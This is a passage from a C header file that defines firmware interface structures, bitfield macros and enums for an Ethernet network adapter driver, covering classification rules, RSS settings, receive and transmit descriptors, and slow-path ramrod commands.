uint8_t activate_flg /* if 0 - the client is deactivate else the client is activate client (1 bit is used) */; uint8_t activate_change_flg /* If set, activate_flg will be checked */; uint16_t default_vlan /* default vlan tag (id+pri). (valid if default_vlan_flg is set) */; uint8_t default_vlan_enable_flg; uint8_t default_vlan_change_flg; uint16_t silent_vlan_value /* The vlan to compare, in case, silent vlan is set */; uint16_t silent_vlan_mask /* The vlan mask, in case, silent vlan is set */; uint8_t silent_vlan_removal_flg /* if set, and the vlan is equal to requested vlan according to mask, the vlan will be remove without notifying the driver */; uint8_t silent_vlan_change_flg; uint8_t refuse_outband_vlan_flg /* If set, the FW will not add outband vlan on packet (even if will exist on BD). */; uint8_t refuse_outband_vlan_change_flg /* If set, refuse_outband_vlan_flg will be updated. */; uint8_t tx_switching_flg /* If set, tx switching will be done to packets on this connection. */; uint8_t tx_switching_change_flg /* If set, tx_switching_flg will be updated. */; uint32_t reserved1; uint32_t echo /* echo value to be sent to driver on event ring */; }; /* * The eth storm context of Cstorm */ struct cstorm_eth_st_context { uint32_t __reserved0[4]; }; struct double_regpair { uint32_t regpair0_lo /* low word for reg-pair0 */; uint32_t regpair0_hi /* high word for reg-pair0 */; uint32_t regpair1_lo /* low word for reg-pair1 */; uint32_t regpair1_hi /* high word for reg-pair1 */; }; /* * Ethernet address types used in ethernet tx BDs */ enum eth_addr_type { UNKNOWN_ADDRESS, UNICAST_ADDRESS, MULTICAST_ADDRESS, BROADCAST_ADDRESS, MAX_ETH_ADDR_TYPE }; /* * $$KEEP_ENDIANNESS$$ */ struct eth_classify_cmd_header { uint8_t cmd_general_data; #define ETH_CLASSIFY_CMD_HEADER_RX_CMD (0x1<<0) /* BitField cmd_general_data should this cmd be applied for Rx */ #define ETH_CLASSIFY_CMD_HEADER_RX_CMD_SHIFT 0 #define ETH_CLASSIFY_CMD_HEADER_TX_CMD (0x1<<1) /* BitField cmd_general_data should this cmd be applied for Tx */ #define ETH_CLASSIFY_CMD_HEADER_TX_CMD_SHIFT 1 #define ETH_CLASSIFY_CMD_HEADER_OPCODE (0x3<<2) /* BitField cmd_general_data command opcode for MAC/VLAN/PAIR (use enum classify_rule) */ #define ETH_CLASSIFY_CMD_HEADER_OPCODE_SHIFT 2 #define ETH_CLASSIFY_CMD_HEADER_IS_ADD (0x1<<4) /* BitField cmd_general_data (use enum classify_rule_action_type) */ #define ETH_CLASSIFY_CMD_HEADER_IS_ADD_SHIFT 4 #define ETH_CLASSIFY_CMD_HEADER_RESERVED0 (0x7<<5) /* BitField cmd_general_data */ #define ETH_CLASSIFY_CMD_HEADER_RESERVED0_SHIFT 5 uint8_t func_id /* the function id */; uint8_t client_id; uint8_t reserved1; }; /* * header for eth classification config ramrod $$KEEP_ENDIANNESS$$ */ struct eth_classify_header { uint8_t rule_cnt /* number of rules in classification config ramrod */; uint8_t reserved0; uint16_t reserved1; uint32_t echo /* echo value to be sent to driver on event ring */; }; /* * Command for adding/removing a MAC classification rule $$KEEP_ENDIANNESS$$ */ struct eth_classify_mac_cmd { struct eth_classify_cmd_header header; uint16_t reserved0; uint16_t inner_mac; uint16_t mac_lsb; uint16_t mac_mid; uint16_t mac_msb; uint16_t reserved1; }; /* * Command for adding/removing a MAC-VLAN pair classification rule $$KEEP_ENDIANNESS$$ */ struct eth_classify_pair_cmd { struct eth_classify_cmd_header header; uint16_t reserved0; uint16_t inner_mac; uint16_t mac_lsb; uint16_t mac_mid; uint16_t mac_msb; uint16_t vlan; }; /* * Command for adding/removing a VLAN classification rule $$KEEP_ENDIANNESS$$ */ struct eth_classify_vlan_cmd { struct eth_classify_cmd_header header; uint32_t reserved0; uint32_t reserved1; uint16_t reserved2; uint16_t vlan; }; /* * union for eth classification rule $$KEEP_ENDIANNESS$$ */ union eth_classify_rule_cmd { struct eth_classify_mac_cmd mac; struct eth_classify_vlan_cmd vlan; struct eth_classify_pair_cmd pair; }; /* * parameters for eth classification configuration ramrod $$KEEP_ENDIANNESS$$ */ struct eth_classify_rules_ramrod_data { struct eth_classify_header header; union eth_classify_rule_cmd rules[CLASSIFY_RULES_COUNT]; }; /* * The data contain client ID need to the ramrod $$KEEP_ENDIANNESS$$ */ struct eth_common_ramrod_data { uint32_t client_id /* id of this client. (5 bits are used) */; uint32_t reserved1; }; /* * The eth storm context of Ustorm */ struct ustorm_eth_st_context { uint32_t reserved0[52]; }; /* * The eth storm context of Tstorm */ struct tstorm_eth_st_context { uint32_t __reserved0[28]; }; /* * The eth storm context of Xstorm */ struct xstorm_eth_st_context { uint32_t reserved0[60]; }; /* * Ethernet connection context */ struct eth_context { struct ustorm_eth_st_context ustorm_st_context /* Ustorm storm context */; struct tstorm_eth_st_context tstorm_st_context /* Tstorm storm context */; struct xstorm_eth_ag_context xstorm_ag_context /* Xstorm aggregative context */; struct tstorm_eth_ag_context tstorm_ag_context /* Tstorm aggregative context */; struct cstorm_eth_ag_context cstorm_ag_context /* Cstorm aggregative context */; struct ustorm_eth_ag_context ustorm_ag_context /* Ustorm aggregative context */; struct timers_block_context timers_context /* Timers block context */; struct xstorm_eth_st_context xstorm_st_context /* Xstorm storm context */; struct cstorm_eth_st_context cstorm_st_context /* Cstorm storm context */; }; /* * union for sgl and raw data. */ union eth_sgl_or_raw_data { uint16_t sgl[8] /* Scatter-gather list of SGEs used by this packet. This list includes the indices of the SGEs. */; uint32_t raw_data[4] /* raw data from Tstorm to the driver. */; }; /* * eth FP end aggregation CQE parameters struct $$KEEP_ENDIANNESS$$ */ struct eth_end_agg_rx_cqe { uint8_t type_error_flags; #define ETH_END_AGG_RX_CQE_TYPE (0x3<<0) /* BitField type_error_flags (use enum eth_rx_cqe_type) */ #define ETH_END_AGG_RX_CQE_TYPE_SHIFT 0 #define ETH_END_AGG_RX_CQE_SGL_RAW_SEL (0x1<<2) /* BitField type_error_flags (use enum eth_rx_fp_sel) */ #define ETH_END_AGG_RX_CQE_SGL_RAW_SEL_SHIFT 2 #define ETH_END_AGG_RX_CQE_RESERVED0 (0x1F<<3) /* BitField type_error_flags */ #define ETH_END_AGG_RX_CQE_RESERVED0_SHIFT 3 uint8_t reserved1; uint8_t queue_index /* The aggregation queue index of this packet */; uint8_t reserved2; uint32_t timestamp_delta /* timestamp delta between first packet to last packet in aggregation */; uint16_t num_of_coalesced_segs /* Num of coalesced segments. */; uint16_t pkt_len /* Packet length */; uint8_t pure_ack_count /* Number of pure acks coalesced. */; uint8_t reserved3; uint16_t reserved4; union eth_sgl_or_raw_data sgl_or_raw_data /* union for sgl and raw data. */; uint32_t reserved5[8]; }; /* * regular eth FP CQE parameters struct $$KEEP_ENDIANNESS$$ */ struct eth_fast_path_rx_cqe { uint8_t type_error_flags; #define ETH_FAST_PATH_RX_CQE_TYPE (0x3<<0) /* BitField type_error_flags (use enum eth_rx_cqe_type) */ #define ETH_FAST_PATH_RX_CQE_TYPE_SHIFT 0 #define ETH_FAST_PATH_RX_CQE_SGL_RAW_SEL (0x1<<2) /* BitField type_error_flags (use enum eth_rx_fp_sel) */ #define ETH_FAST_PATH_RX_CQE_SGL_RAW_SEL_SHIFT 2 #define ETH_FAST_PATH_RX_CQE_PHY_DECODE_ERR_FLG (0x1<<3) /* BitField type_error_flags Physical layer errors */ #define ETH_FAST_PATH_RX_CQE_PHY_DECODE_ERR_FLG_SHIFT 3 #define ETH_FAST_PATH_RX_CQE_IP_BAD_XSUM_FLG (0x1<<4) /* BitField type_error_flags IP checksum error */ #define ETH_FAST_PATH_RX_CQE_IP_BAD_XSUM_FLG_SHIFT 4 #define ETH_FAST_PATH_RX_CQE_L4_BAD_XSUM_FLG (0x1<<5) /* BitField type_error_flags TCP/UDP checksum error */ #define ETH_FAST_PATH_RX_CQE_L4_BAD_XSUM_FLG_SHIFT 5 #define ETH_FAST_PATH_RX_CQE_RESERVED0 (0x3<<6) /* BitField type_error_flags */ #define ETH_FAST_PATH_RX_CQE_RESERVED0_SHIFT 6 uint8_t status_flags; #define ETH_FAST_PATH_RX_CQE_RSS_HASH_TYPE (0x7<<0) /* BitField status_flags (use enum eth_rss_hash_type) */ #define ETH_FAST_PATH_RX_CQE_RSS_HASH_TYPE_SHIFT 0 #define ETH_FAST_PATH_RX_CQE_RSS_HASH_FLG (0x1<<3) /* BitField status_flags RSS hashing on/off */ #define ETH_FAST_PATH_RX_CQE_RSS_HASH_FLG_SHIFT 3 #define ETH_FAST_PATH_RX_CQE_BROADCAST_FLG (0x1<<4) /* BitField status_flags if set to 1, this is a broadcast packet */ #define ETH_FAST_PATH_RX_CQE_BROADCAST_FLG_SHIFT 4 #define ETH_FAST_PATH_RX_CQE_MAC_MATCH_FLG (0x1<<5) /* BitField status_flags if set to 1, the MAC address was matched in the tstorm CAM search */ #define ETH_FAST_PATH_RX_CQE_MAC_MATCH_FLG_SHIFT 5 #define ETH_FAST_PATH_RX_CQE_IP_XSUM_NO_VALIDATION_FLG (0x1<<6) /* BitField status_flags IP checksum validation was not performed (if packet is not IPv4) */ #define ETH_FAST_PATH_RX_CQE_IP_XSUM_NO_VALIDATION_FLG_SHIFT 6 #define ETH_FAST_PATH_RX_CQE_L4_XSUM_NO_VALIDATION_FLG (0x1<<7) /* BitField status_flags TCP/UDP checksum validation was not performed (if packet is not TCP/UDP or IPv6 extheaders exist) */ #define ETH_FAST_PATH_RX_CQE_L4_XSUM_NO_VALIDATION_FLG_SHIFT 7 uint8_t queue_index /* The aggregation queue index of this packet */; uint8_t placement_offset /* Placement offset from the start of the BD, in bytes */; uint32_t rss_hash_result /* RSS toeplitz hash result */; uint16_t vlan_tag /* Ethernet VLAN tag field */; uint16_t pkt_len_or_gro_seg_len /* Packet length (for non-TPA CQE) or GRO Segment Length (for TPA in GRO Mode) otherwise 0 */; uint16_t len_on_bd /* Number of bytes placed on the BD */; struct parsing_flags pars_flags; union eth_sgl_or_raw_data sgl_or_raw_data /* union for sgl and raw data. */; uint32_t reserved1[8]; }; /* * Command for setting classification flags for a client $$KEEP_ENDIANNESS$$ */ struct eth_filter_rules_cmd { uint8_t cmd_general_data; #define ETH_FILTER_RULES_CMD_RX_CMD (0x1<<0) /* BitField cmd_general_data should this cmd be applied for Rx */ #define ETH_FILTER_RULES_CMD_RX_CMD_SHIFT 0 #define ETH_FILTER_RULES_CMD_TX_CMD (0x1<<1) /* BitField cmd_general_data should this cmd be applied for Tx */ #define ETH_FILTER_RULES_CMD_TX_CMD_SHIFT 1 #define ETH_FILTER_RULES_CMD_RESERVED0 (0x3F<<2) /* BitField cmd_general_data */ #define ETH_FILTER_RULES_CMD_RESERVED0_SHIFT 2 uint8_t func_id /* the function id */; uint8_t client_id /* the client id */; uint8_t reserved1; uint16_t state; #define ETH_FILTER_RULES_CMD_UCAST_DROP_ALL (0x1<<0) /* BitField state drop all unicast packets */ #define ETH_FILTER_RULES_CMD_UCAST_DROP_ALL_SHIFT 0 #define ETH_FILTER_RULES_CMD_UCAST_ACCEPT_ALL (0x1<<1) /* BitField state accept all unicast packets (subject to vlan) */ #define ETH_FILTER_RULES_CMD_UCAST_ACCEPT_ALL_SHIFT 1 #define ETH_FILTER_RULES_CMD_UCAST_ACCEPT_UNMATCHED (0x1<<2) /* BitField state accept all unmatched unicast packets */ #define ETH_FILTER_RULES_CMD_UCAST_ACCEPT_UNMATCHED_SHIFT 2 #define ETH_FILTER_RULES_CMD_MCAST_DROP_ALL (0x1<<3) /* BitField state drop all multicast packets */ #define ETH_FILTER_RULES_CMD_MCAST_DROP_ALL_SHIFT 3 #define ETH_FILTER_RULES_CMD_MCAST_ACCEPT_ALL (0x1<<4) /* BitField state accept all multicast packets (subject to vlan) */ #define ETH_FILTER_RULES_CMD_MCAST_ACCEPT_ALL_SHIFT 4 #define ETH_FILTER_RULES_CMD_BCAST_ACCEPT_ALL (0x1<<5) /* BitField state accept all broadcast packets (subject to vlan) */ #define ETH_FILTER_RULES_CMD_BCAST_ACCEPT_ALL_SHIFT 5 #define ETH_FILTER_RULES_CMD_ACCEPT_ANY_VLAN (0x1<<6) /* BitField state accept packets matched only by MAC (without checking vlan) */ #define ETH_FILTER_RULES_CMD_ACCEPT_ANY_VLAN_SHIFT 6 #define ETH_FILTER_RULES_CMD_RESERVED2 (0x1FF<<7) /* BitField state */ #define ETH_FILTER_RULES_CMD_RESERVED2_SHIFT 7 uint16_t reserved3; struct regpair reserved4; }; /* * parameters for eth classification filters ramrod $$KEEP_ENDIANNESS$$ */ struct eth_filter_rules_ramrod_data { struct eth_classify_header header; struct eth_filter_rules_cmd rules[FILTER_RULES_COUNT]; }; /* * parameters for eth classification configuration ramrod $$KEEP_ENDIANNESS$$ */ struct eth_general_rules_ramrod_data { struct eth_classify_header header; union eth_classify_rule_cmd rules[CLASSIFY_RULES_COUNT]; }; /* * The data for Halt ramrod */ struct eth_halt_ramrod_data { uint32_t client_id /* id of this client. (5 bits are used) */; uint32_t reserved0; }; /* * destination and source mac address. */ struct eth_mac_addresses { #if defined(__BIG_ENDIAN) uint16_t dst_mid /* destination mac address 16 middle bits */; uint16_t dst_lo /* destination mac address 16 low bits */; #elif defined(__LITTLE_ENDIAN) uint16_t dst_lo /* destination mac address 16 low bits */; uint16_t dst_mid /* destination mac address 16 middle bits */; #endif #if defined(__BIG_ENDIAN) uint16_t src_lo /* source mac address 16 low bits */; uint16_t dst_hi /* destination mac address 16 high bits */; #elif defined(__LITTLE_ENDIAN) uint16_t dst_hi /* destination mac address 16 high bits */; uint16_t src_lo /* source mac address 16 low bits */; #endif #if defined(__BIG_ENDIAN) uint16_t src_hi /* source mac address 16 high bits */; uint16_t src_mid /* source mac address 16 middle bits */; #elif defined(__LITTLE_ENDIAN) uint16_t src_mid /* source mac address 16 middle bits */; uint16_t src_hi /* source mac address 16 high bits */; #endif }; /* * tunneling related data. */ struct eth_tunnel_data { #if defined(__BIG_ENDIAN) uint16_t dst_mid /* destination mac address 16 middle bits */; uint16_t dst_lo /* destination mac address 16 low bits */; #elif defined(__LITTLE_ENDIAN) uint16_t dst_lo /* destination mac address 16 low bits */; uint16_t dst_mid /* destination mac address 16 middle bits */; #endif #if defined(__BIG_ENDIAN) uint16_t fw_ip_hdr_csum /* Fw Ip header checksum (with ALL ip header fields) for the outer IP header */; uint16_t dst_hi /* destination mac address 16 high bits */; #elif defined(__LITTLE_ENDIAN) uint16_t dst_hi /* destination mac address 16 high bits */; uint16_t fw_ip_hdr_csum /* Fw Ip header checksum (with ALL ip header fields) for the outer IP header */; #endif #if defined(__BIG_ENDIAN) uint8_t flags; #define ETH_TUNNEL_DATA_IP_HDR_TYPE_OUTER (0x1<<0) /* BitField flags Set in case outer IP header is ipV6 */ #define ETH_TUNNEL_DATA_IP_HDR_TYPE_OUTER_SHIFT 0 #define ETH_TUNNEL_DATA_RESERVED (0x7F<<1) /* BitField flags Should be set with 0 */ #define ETH_TUNNEL_DATA_RESERVED_SHIFT 1 uint8_t ip_hdr_start_inner_w /* Inner IP header offset in WORDs (16-bit) from start of packet */; uint16_t pseudo_csum /* Pseudo checksum with length field=0 */; #elif defined(__LITTLE_ENDIAN) uint16_t pseudo_csum /* Pseudo checksum with length field=0 */; uint8_t ip_hdr_start_inner_w /* Inner IP header offset in WORDs (16-bit) from start of packet */; uint8_t flags; #define ETH_TUNNEL_DATA_IP_HDR_TYPE_OUTER (0x1<<0) /* BitField flags Set in case outer IP header is ipV6 */ #define ETH_TUNNEL_DATA_IP_HDR_TYPE_OUTER_SHIFT 0 #define ETH_TUNNEL_DATA_RESERVED (0x7F<<1) /* BitField flags Should be set with 0 */ #define ETH_TUNNEL_DATA_RESERVED_SHIFT 1 #endif }; /* * union for mac addresses and for tunneling data. considered as tunneling data only if (tunnel_exist == 1). */ union eth_mac_addr_or_tunnel_data { struct eth_mac_addresses mac_addr /* destination and source mac addresses. */; struct eth_tunnel_data tunnel_data /* tunneling related data. */; }; /* * Command for setting multicast classification for a client $$KEEP_ENDIANNESS$$ */ struct eth_multicast_rules_cmd { uint8_t cmd_general_data; #define ETH_MULTICAST_RULES_CMD_RX_CMD (0x1<<0) /* BitField cmd_general_data should this cmd be applied for Rx */ #define ETH_MULTICAST_RULES_CMD_RX_CMD_SHIFT 0 #define ETH_MULTICAST_RULES_CMD_TX_CMD (0x1<<1) /* BitField cmd_general_data should this cmd be applied for Tx */ #define ETH_MULTICAST_RULES_CMD_TX_CMD_SHIFT 1 #define ETH_MULTICAST_RULES_CMD_IS_ADD (0x1<<2) /* BitField cmd_general_data 1 for add rule, 0 for remove rule */ #define ETH_MULTICAST_RULES_CMD_IS_ADD_SHIFT 2 #define ETH_MULTICAST_RULES_CMD_RESERVED0 (0x1F<<3) /* BitField cmd_general_data */ #define ETH_MULTICAST_RULES_CMD_RESERVED0_SHIFT 3 uint8_t func_id /* the function id */; uint8_t bin_id /* the bin to add this function to (0-255) */; uint8_t engine_id /* the approximate multicast engine id */; uint32_t reserved2; struct regpair reserved3; }; /* * parameters for multicast classification ramrod $$KEEP_ENDIANNESS$$ */ struct eth_multicast_rules_ramrod_data { struct eth_classify_header header; struct eth_multicast_rules_cmd rules[MULTICAST_RULES_COUNT]; }; /* * Place holder for ramrods protocol specific data */ struct ramrod_data { uint32_t data_lo; uint32_t data_hi; }; /* * union for ramrod data for Ethernet protocol (CQE) (force size of 16 bits) */ union eth_ramrod_data { struct ramrod_data general; }; /* * RSS toeplitz hash type, as reported in CQE */ enum eth_rss_hash_type { DEFAULT_HASH_TYPE, IPV4_HASH_TYPE, TCP_IPV4_HASH_TYPE, IPV6_HASH_TYPE, TCP_IPV6_HASH_TYPE, VLAN_PRI_HASH_TYPE, E1HOV_PRI_HASH_TYPE, DSCP_HASH_TYPE, MAX_ETH_RSS_HASH_TYPE}; /* * Ethernet RSS mode */ enum eth_rss_mode { ETH_RSS_MODE_DISABLED, ETH_RSS_MODE_ESX51 /* RSS mode for Vmware ESX 5.1 (Only do RSS if packet is UDP with dst port that matches the UDP 4-tuble Destination Port mask and value) */, ETH_RSS_MODE_REGULAR /* Regular (ndis-like) RSS */, ETH_RSS_MODE_VLAN_PRI /* RSS based on inner-vlan priority field */, ETH_RSS_MODE_E1HOV_PRI /* RSS based on outer-vlan priority field */, ETH_RSS_MODE_IP_DSCP /* RSS based on IPv4 DSCP field */, MAX_ETH_RSS_MODE}; /* * parameters for RSS update ramrod (E2) $$KEEP_ENDIANNESS$$ */ struct eth_rss_update_ramrod_data { uint8_t rss_engine_id; uint8_t capabilities; #define ETH_RSS_UPDATE_RAMROD_DATA_IPV4_CAPABILITY (0x1<<0) /* BitField capabilitiesFunction RSS capabilities configuration of the IpV4 2-tupple capability */ #define ETH_RSS_UPDATE_RAMROD_DATA_IPV4_CAPABILITY_SHIFT 0 #define ETH_RSS_UPDATE_RAMROD_DATA_IPV4_TCP_CAPABILITY (0x1<<1) /* BitField capabilitiesFunction RSS capabilities configuration of the IpV4 4-tupple capability for TCP */ #define ETH_RSS_UPDATE_RAMROD_DATA_IPV4_TCP_CAPABILITY_SHIFT 1 #define ETH_RSS_UPDATE_RAMROD_DATA_IPV4_UDP_CAPABILITY (0x1<<2) /* BitField capabilitiesFunction RSS capabilities configuration of the IpV4 4-tupple capability for UDP */ #define ETH_RSS_UPDATE_RAMROD_DATA_IPV4_UDP_CAPABILITY_SHIFT 2 #define ETH_RSS_UPDATE_RAMROD_DATA_IPV6_CAPABILITY (0x1<<3) /* BitField capabilitiesFunction RSS capabilities configuration of the IpV6 2-tupple capability */ #define ETH_RSS_UPDATE_RAMROD_DATA_IPV6_CAPABILITY_SHIFT 3 #define ETH_RSS_UPDATE_RAMROD_DATA_IPV6_TCP_CAPABILITY (0x1<<4) /* BitField capabilitiesFunction RSS capabilities configuration of the IpV6 4-tupple capability for TCP */ #define ETH_RSS_UPDATE_RAMROD_DATA_IPV6_TCP_CAPABILITY_SHIFT 4 #define ETH_RSS_UPDATE_RAMROD_DATA_IPV6_UDP_CAPABILITY (0x1<<5) /* BitField capabilitiesFunction RSS capabilities configuration of the IpV6 4-tupple capability for UDP */ #define ETH_RSS_UPDATE_RAMROD_DATA_IPV6_UDP_CAPABILITY_SHIFT 5 #define ETH_RSS_UPDATE_RAMROD_DATA_EN_5_TUPLE_CAPABILITY (0x1<<6) /* BitField capabilitiesFunction RSS capabilities configuration of the 5-tupple capability */ #define ETH_RSS_UPDATE_RAMROD_DATA_EN_5_TUPLE_CAPABILITY_SHIFT 6 #define ETH_RSS_UPDATE_RAMROD_DATA_UPDATE_RSS_KEY (0x1<<7) /* BitField capabilitiesFunction RSS capabilities if set update the rss keys */ #define ETH_RSS_UPDATE_RAMROD_DATA_UPDATE_RSS_KEY_SHIFT 7 uint8_t rss_result_mask /* The mask for the lower byte of RSS result - defines which section of the indirection table will be used. To enable all table put here 0x7F */; uint8_t rss_mode /* The RSS mode for this function */; uint16_t udp_4tuple_dst_port_mask /* If UDP 4-tuple enabled, packets that match the mask and value are 4-tupled, the rest are 2-tupled. (Set to 0 to match all) */; uint16_t udp_4tuple_dst_port_value /* If UDP 4-tuple enabled, packets that match the mask and value are 4-tupled, the rest are 2-tupled. (Set to 0 to match all) */; uint8_t indirection_table[T_ETH_INDIRECTION_TABLE_SIZE] /* RSS indirection table */; uint32_t rss_key[T_ETH_RSS_KEY] /* RSS key supplied as by OS */; uint32_t echo; uint32_t reserved3; }; /* * The eth Rx Buffer Descriptor */ struct eth_rx_bd { uint32_t addr_lo /* Single continuous buffer low pointer */; uint32_t addr_hi /* Single continuous buffer high pointer */; }; /* * Eth Rx Cqe structure- general structure for ramrods $$KEEP_ENDIANNESS$$ */ struct common_ramrod_eth_rx_cqe { uint8_t ramrod_type; #define COMMON_RAMROD_ETH_RX_CQE_TYPE (0x3<<0) /* BitField ramrod_type (use enum eth_rx_cqe_type) */ #define COMMON_RAMROD_ETH_RX_CQE_TYPE_SHIFT 0 #define COMMON_RAMROD_ETH_RX_CQE_ERROR (0x1<<2) /* BitField ramrod_type */ #define COMMON_RAMROD_ETH_RX_CQE_ERROR_SHIFT 2 #define COMMON_RAMROD_ETH_RX_CQE_RESERVED0 (0x1F<<3) /* BitField ramrod_type */ #define COMMON_RAMROD_ETH_RX_CQE_RESERVED0_SHIFT 3 uint8_t conn_type /* only 3 bits are used */; uint16_t reserved1 /* protocol specific data */; uint32_t conn_and_cmd_data; #define COMMON_RAMROD_ETH_RX_CQE_CID (0xFFFFFF<<0) /* BitField conn_and_cmd_data */ #define COMMON_RAMROD_ETH_RX_CQE_CID_SHIFT 0 #define COMMON_RAMROD_ETH_RX_CQE_CMD_ID (0xFF<<24) /* BitField conn_and_cmd_data command id of the ramrod- use RamrodCommandIdEnum */ #define COMMON_RAMROD_ETH_RX_CQE_CMD_ID_SHIFT 24 struct ramrod_data protocol_data /* protocol specific data */; uint32_t echo; uint32_t reserved2[11]; }; /* * Rx Last CQE in page (in ETH) */ struct eth_rx_cqe_next_page { uint32_t addr_lo /* Next page low pointer */; uint32_t addr_hi /* Next page high pointer */; uint32_t reserved[14]; }; /* * union for all eth rx cqe types (fix their sizes) */ union eth_rx_cqe { struct eth_fast_path_rx_cqe fast_path_cqe; struct common_ramrod_eth_rx_cqe ramrod_cqe; struct eth_rx_cqe_next_page next_page_cqe; struct eth_end_agg_rx_cqe end_agg_cqe; }; /* * Values for RX ETH CQE type field */ enum eth_rx_cqe_type { RX_ETH_CQE_TYPE_ETH_FASTPATH /* Fast path CQE */, RX_ETH_CQE_TYPE_ETH_RAMROD /* Slow path CQE */, RX_ETH_CQE_TYPE_ETH_START_AGG /* Fast path CQE */, RX_ETH_CQE_TYPE_ETH_STOP_AGG /* Slow path CQE */, MAX_ETH_RX_CQE_TYPE}; /* * Type of SGL/Raw field in ETH RX fast path CQE */ enum eth_rx_fp_sel { ETH_FP_CQE_REGULAR /* Regular CQE- no extra data */, ETH_FP_CQE_RAW /* Extra data is raw data- iscsi OOO */, MAX_ETH_RX_FP_SEL}; /* * The eth Rx SGE Descriptor */ struct eth_rx_sge { uint32_t addr_lo /* Single continuous buffer low pointer */; uint32_t addr_hi /* Single continuous buffer high pointer */; }; /* * common data for all protocols $$KEEP_ENDIANNESS$$ */ struct spe_hdr { uint32_t conn_and_cmd_data; #define SPE_HDR_CID (0xFFFFFF<<0) /* BitField conn_and_cmd_data */ #define SPE_HDR_CID_SHIFT 0 #define SPE_HDR_CMD_ID (0xFF<<24) /* BitField conn_and_cmd_data command id of the ramrod- use enum common_spqe_cmd_id/eth_spqe_cmd_id/toe_spqe_cmd_id */ #define SPE_HDR_CMD_ID_SHIFT 24 uint16_t type; #define SPE_HDR_CONN_TYPE (0xFF<<0) /* BitField type connection type. (3 bits are used) (use enum connection_type) */ #define SPE_HDR_CONN_TYPE_SHIFT 0 #define SPE_HDR_FUNCTION_ID (0xFF<<8) /* BitField type */ #define SPE_HDR_FUNCTION_ID_SHIFT 8 uint16_t reserved1; }; /* * specific data for ethernet slow path element */ union eth_specific_data { uint8_t protocol_data[8] /* to fix this structure size to 8 bytes */; struct regpair client_update_ramrod_data /* The address of the data for client update ramrod */; struct regpair client_init_ramrod_init_data /* The data for client setup ramrod */; struct eth_halt_ramrod_data halt_ramrod_data /* Includes the client id to be deleted */; struct regpair update_data_addr /* physical address of the eth_rss_update_ramrod_data struct, as allocated by the driver */; struct eth_common_ramrod_data common_ramrod_data /* The data contain client ID need to the ramrod */; struct regpair classify_cfg_addr /* physical address of the eth_classify_rules_ramrod_data struct, as allocated by the driver */; struct regpair filter_cfg_addr /* physical address of the eth_filter_cfg_ramrod_data struct, as allocated by the driver */; struct regpair mcast_cfg_addr /* physical address of the eth_mcast_cfg_ramrod_data struct, as allocated by the driver */; }; /* * Ethernet slow path element */ struct eth_spe { struct spe_hdr hdr /* common data for all protocols */; union eth_specific_data data /* data specific to ethernet protocol */; }; /* * Ethernet command ID for slow path elements */ enum eth_spqe_cmd_id { RAMROD_CMD_ID_ETH_UNUSED, RAMROD_CMD_ID_ETH_CLIENT_SETUP /* Setup a new L2 client */, RAMROD_CMD_ID_ETH_HALT /* Halt an L2 client */, RAMROD_CMD_ID_ETH_FORWARD_SETUP /* Setup a new FW channel */, RAMROD_CMD_ID_ETH_TX_QUEUE_SETUP /* Setup a new Tx only queue */, RAMROD_CMD_ID_ETH_CLIENT_UPDATE /* Update an L2 client configuration */, RAMROD_CMD_ID_ETH_EMPTY /* Empty ramrod - used to synchronize iSCSI OOO */, RAMROD_CMD_ID_ETH_TERMINATE /* Terminate an L2 client */, RAMROD_CMD_ID_ETH_TPA_UPDATE /* update the tpa roles in L2 client */, RAMROD_CMD_ID_ETH_CLASSIFICATION_RULES /* Add/remove classification filters for L2 client (in E2/E3 only) */, RAMROD_CMD_ID_ETH_FILTER_RULES /* Add/remove classification filters for L2 client (in E2/E3 only) */, RAMROD_CMD_ID_ETH_MULTICAST_RULES /* Add/remove multicast classification bin (in E2/E3 only) */, RAMROD_CMD_ID_ETH_RSS_UPDATE /* Update RSS configuration */, RAMROD_CMD_ID_ETH_SET_MAC /* Update RSS configuration */, MAX_ETH_SPQE_CMD_ID}; /* * eth tpa update command */ enum eth_tpa_update_command { TPA_UPDATE_NONE_COMMAND /* nop command */, TPA_UPDATE_ENABLE_COMMAND /* enable command */, TPA_UPDATE_DISABLE_COMMAND /* disable command */, MAX_ETH_TPA_UPDATE_COMMAND}; /* * In case of LSO over IPv4 tunnel, whether to increment IP ID on external IP header or internal IP header */ enum eth_tunnel_lso_inc_ip_id { EXT_HEADER /* Increment IP ID of external header (HW works on external, FW works on internal */, INT_HEADER /* Increment IP ID of internal header (HW works on internal, FW works on external */, MAX_ETH_TUNNEL_LSO_INC_IP_ID}; /* * In case tunnel exist and L4 checksum offload (or outer ip header checksum), the pseudo checksum location, on packet or on BD. */ enum eth_tunnel_non_lso_csum_location { CSUM_ON_PKT /* checksum is on the packet. */, CSUM_ON_BD /* checksum is on the BD. */, MAX_ETH_TUNNEL_NON_LSO_CSUM_LOCATION}; /* * Tx regular BD structure $$KEEP_ENDIANNESS$$ */ struct eth_tx_bd { uint32_t addr_lo /* Single continuous buffer low pointer */; uint32_t addr_hi /* Single continuous buffer high pointer */; uint16_t total_pkt_bytes /* Size of the entire packet, valid for non-LSO packets */; uint16_t nbytes /* Size of the data represented by the BD */; uint8_t reserved[4] /* keeps same size as other eth tx bd types */; }; /* * structure for easy accessibility to assembler */ struct eth_tx_bd_flags { uint8_t as_bitfield; #define ETH_TX_BD_FLAGS_IP_CSUM (0x1<<0) /* BitField as_bitfield IP CKSUM flag,Relevant in START */ #define ETH_TX_BD_FLAGS_IP_CSUM_SHIFT 0 #define ETH_TX_BD_FLAGS_L4_CSUM (0x1<<1) /* BitField as_bitfield L4 CKSUM flag,Relevant in START */ #define ETH_TX_BD_FLAGS_L4_CSUM_SHIFT 1 #define ETH_TX_BD_FLAGS_VLAN_MODE (0x3<<2) /* BitField as_bitfield 00 - no vlan; 01 - inband Vlan; 10 outband Vlan (use enum eth_tx_vlan_type) */ #define ETH_TX_BD_FLAGS_VLAN_MODE_SHIFT 2 #define ETH_TX_BD_FLAGS_START_BD (0x1<<4) /* BitField as_bitfield Start of packet BD */ #define ETH_TX_BD_FLAGS_START_BD_SHIFT 4 #define ETH_TX_BD_FLAGS_IS_UDP (0x1<<5) /* BitField as_bitfield flag that indicates that the current packet is a udp packet */ #define ETH_TX_BD_FLAGS_IS_UDP_SHIFT 5 #define ETH_TX_BD_FLAGS_SW_LSO (0x1<<6) /* BitField as_bitfield LSO flag, Relevant in START */ #define ETH_TX_BD_FLAGS_SW_LSO_SHIFT 6 #define ETH_TX_BD_FLAGS_IPV6 (0x1<<7) /* BitField as_bitfield set in case ipV6 packet, Relevant in START */ #define ETH_TX_BD_FLAGS_IPV6_SHIFT 7 }; /* * The eth Tx 